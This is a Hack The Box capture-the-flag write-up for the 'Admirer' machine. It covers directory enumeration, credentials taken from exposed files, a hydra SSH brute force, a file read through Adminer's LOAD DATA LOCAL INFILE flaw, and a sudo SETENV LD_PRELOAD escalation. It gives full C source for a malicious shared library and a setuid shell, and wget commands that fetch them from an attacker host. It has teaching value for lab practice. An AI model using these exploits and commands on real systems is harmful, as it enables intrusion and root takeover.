Admirer required lots of enumeration, and was more challenging than most other easy boxes for this reason. I explored several services before arriving at the vulnerability in Adminer, a web-based database management system. I abused the local file read vulnerability to get credentials for a user on the box, and was able to SSH as that user. I then found a vulnerability in the sudoers configuration, which allowed me to build a malicious shared library and execute it with another command as sudo.

Logo Creator OS Difficulty Graph
Admirer Logo polarbearer & GibParadox Linux (Debian) Easy graph

Initial Recon

A quick nmap scan of the host (cmd: nmap -F -oN nmap/quick 10.10.10.187) reveals three open ports: 21 (FTP), 22 (SSH), and 80 (HTTP). A more in-depth scan with default nmap scripts gives information such as the version of the services, host OS fingerprinting, and more.

root@kali:~# nmap -sC -sV -p 21,22,80 -oN nmap/def-script 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-14 12:09 EDT
Nmap scan report for 10.10.10.187
Host is up (0.028s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Exploring the Website

The FTP server is running a version that doesn’t show much with a quick Google search for vulnerabilities, and SSH is rarely vulnerable (verified again with some searching). I’ll take a look at the web service because that’s the most likely target, and we already see the /admin-dir in the robots.txt file from the nmap scan. When I visit the home page I get a gallery of photos, and an About button at the bottom that opens a simple form.

Website

Experimenting with file extensions such as index.html, index.php, etc. reveals that the site is running PHP code, so I’ll try that when I enumerate more pages with gobuster. Because I already know the /admin-dir I can enumerate that sub-directory, but I don’t know what’s there so I’ll also try additional file extensions like .txt and .html.

gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/wordlists/dirb/big.txt -x txt,html,php -t 20

The second scan turns up two interesting documents called contacts.txt and credentials.txt, which I’ll grab with cURL.

##########
# admins #
##########
# Penny
Email: [email protected]

##############
# developers #
##############
# Rajesh
Email: [email protected]

# Amy
Email: [email protected]

# Leonard
Email: [email protected]

#############
# designers #
#############
# Howard
Email: [email protected]

# Bernadette
Email: [email protected]
[Internal mail account]
[email protected]
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Exploring FTP and Credentials

The credentials file is the most interesting part yet, but there’s really only one set of credentials I can use right now. There doesn’t seem to be a Wordpress endpoint on the web server (/wp-admin), and I would need a mail port exposed or local access to use the mail credentials. That leaves FTP, which is usually a good option anyways.

I immediately see a dump.sql file and html.tar.gz compressed directory. There’s nothing new in the SQL dump, but there are some notable differences with the compressed version of the webserver. The most obvious difference is w4ld0s_s3cr3t_d1r, with an additional credential (Bank Account) in the credentials.txt file. Unfortunately, this doesn’t seem to lead anywhere. There’s also a utility-scripts directory, which offers some PHP scripts. The db_admin.php has credentials for the database, which contradict with credentials I found in index.php.

The only file which gives some hope for a vulnerability is utility-scripts/admin_tasks.php, but after searching for PHP type juggling exploits, it doesn’t actually seem injectable.

if(isset($_REQUEST['task'])) {
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
        $task == '5' || $task == '6' || $task == '7') {
        echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
    }
    else {
        echo("Invalid task.");
    }
}

There are some interesting vulnerabilities with loose PHP comparisons detailed in this OWASP presentation, but unfortunately none of them can lead to injection for shell commands. At this point I needed something new to explore, and I realized that I’ve accrued quite an extensive list of usernames and passwords, albeit without much actual access. Collecting all of these credentials into lists, I can run hydra against the SSH server.

root@kali:~# hydra -L users -P passwords 10.10.10.187 -t 4 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-14 13:36:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 98 login tries (l:14/p:7), ~25 tries per task
[DATA] attacking ssh://10.10.10.187:22/
[22][ssh] host: 10.10.10.187   login: ftpuser   password: %n?4Wz}R$tTF7
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-14 13:37:08

This is exciting, but I realized right away that I can’t actually log in with a TTY on the host. Even trying to just run a command doesn’t work.

root@kali:~# ssh [email protected]
[email protected]'s password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 14 18:02:15 2020 from 10.10.14.19
Connection to 10.10.10.187 closed.

I did notice that I’m able to forward a port using ssh -L 3306:localhost:3306 -N [email protected], but the only service I know of is MySQL and unfortunately I’m unable to log in with any of the credentials.

Finding the Vulnerability

At this point I seem to have exhausted all of my options. However, there’s one thing I realize I haven’t tried - enumerating the /utility-scripts directory. I know that the compressed web server from FTP is different than the running web server, and I’ve already enumerated /admin-dir, but now I’ll try using gobuster again.

Right away, I discover a new file: http://10.10.10.187/utility-scripts/adminer.php (cmd: gobuster dir -u http://10.10.10.187/utility-scripts -w /usr/share/wordlists/dirb/big.txt -x php -t 20). Visiting the page, I immediately see that it’s running version 4.6.2 (and another red version number indicates that this is out of date).

Adminer

A quick Google search for this version clearly shows that it’s vulnerable. The service allows for management of various databases, and will allow me to load my own MySQL database onto the remote host. This article gives a great breakdown of how I can use this to read and write files between my host and the remote server.

Setting up the Attack

I’ll start by running a MySQL server (this comes pre-installed with Kali, and can be run with systemctl start mysql). In order to safely allow remote access from the server, I’ll add a new user and create a database for them to use. This series of commands looks like this:

create database admirer;
create user 'gbm'@'%' identified by 'gbmpass';
grant all on admirer.* to 'gbm'@'%';
flush privileges;

Now I should be able to load this database remotely from the Adminer web interface. Note that MySQL should be listening on an external interface, not 127.0.0.1. On Kali 2019.4, this can be changed by editing /etc/mysql/mariadb.conf.d/50-server.cnf to have the line bind-address = 0.0.0.0.

Database

Getting Credentials

I want to test the local file read capability of this exploit. Using the common file /etc/passwd seems like a good option for starters. I’ll go to the SQL Command page so I can run custom commands and start by creating a new table, then loading the local file into said table.

CREATE TABLE passwd (file TEXT);
LOAD DATA LOCAL INFILE '/etc/passwd' 
INTO TABLE passwd
FIELDS TERMINATED BY "\n"

Unfortunately, I get an error saying it was unable to open the file. This probably means I’m running as the www-data user and they have restricted permissions. However, I do know a lot of the web server files, and I can make an educated guess as to where they’re located. I’ll try the default location for a web server on most Linux distros: /var/www/html/index.php and it loads into the table!

I can view this file either locally in MySQL or via Adminer, but I now see the source PHP file for the web server. Interestingly, this shows a new password for the waldo user in the database.

$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";

Since this is the current password for the web server I know it works, so on a hunch I’ll try to SSH using these credentials and just like that, I’m logged in as waldo!

User

Privilege Escalation

One of the first things I check when attempting privilege escalation on Linux distros is sudo -l. This shows me if there are any commands I’m allowed to run with elevated privileges as the current user. On this host, the waldo user has a very interesting privilege:

waldo@admirer:/dev/shm$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

A quick search reveals that the SETENV option preserves a user’s environment when running the specified command, and there just so happens to be a post on ExploitDB abusing this option.

Examining the Exploit

There are two seemingly simple programs written in C for this exploit: program.c and xxxx.c.

// program.c

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    if (!geteuid()) {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    execl("/bin/sh","sh","-c","chown 0:0 /tmp/xxxx; /bin/chmod +xs /tmp/xxxx",NULL);
    }
}
// xxxx.c

int main(void) {
    setgid(0);
    setuid(0);
    // unlink("/tmp/xxxx");
    execl("/bin/sh","sh",0);
}

In order to use these maliciously, I first have to compile the xxxx.c program, which is the privesc stager eventually run to give me a root shell. My understanding of the rest is somewhat limited, but there’s a quick article here that links some others, and attempts to make sense of it all.

My next step is to compile program.c into its object file. The third step links program.o together with libno_ex.so.1 into a shared library, allowing program.o’s _init() function to take over and add the malicious execl() call. Because this function uses unsetenv("LD_PRELOAD"), I can then run any command after setting the LD_PRELOAD environment variable and it will execute our malicious code in the shared library. The steps look like this:

gcc -o /tmp/xxxx xxxx.c
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o /tmp/libno_ex.so.1.0 program.o -nostartfiles

# $1 (argument 1) is the program to run
sudo LD_PRELOAD=/tmp/libno_ex.so.1.0 $1

It’s worth noting that this alone doesn’t do much for privilege escalation. Because I’m executing the malicious code as a standard user (waldo), it won’t be able to run the setgid(0); setuid(0); commands and therefore won’t be able to run the staged xxxx program for privesc. However, with waldo’s permission to run /opt/scripts/admin_tasks.sh as root, I can abuse this LD_PRELOAD functionality.

Getting Root

The remote host doesn’t have gcc installed, so I’ll have to compile the staged privesc program and the shared library locally. I’ll just run the commands above to compile the programs (although I don’t need to save them in my own /tmp directory) Now I’ve got the shared library ready to transfer to the remote server.

gcc -o xxxx xxxx.c
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles

I’ll send the library and the staged privesc program over with the Python SimpleHTTPServer module and wget, then run the privesc, giving me a root shell.

wget -P /tmp http://10.10.14.19/libno_ex.so.1.0
wget -P /tmp http://10.10.14.19/xxxx
sudo LD_PRELOAD=/tmp/libno_ex.so.1.0 /opt/scripts/admin_tasks.sh
/tmp/xxxx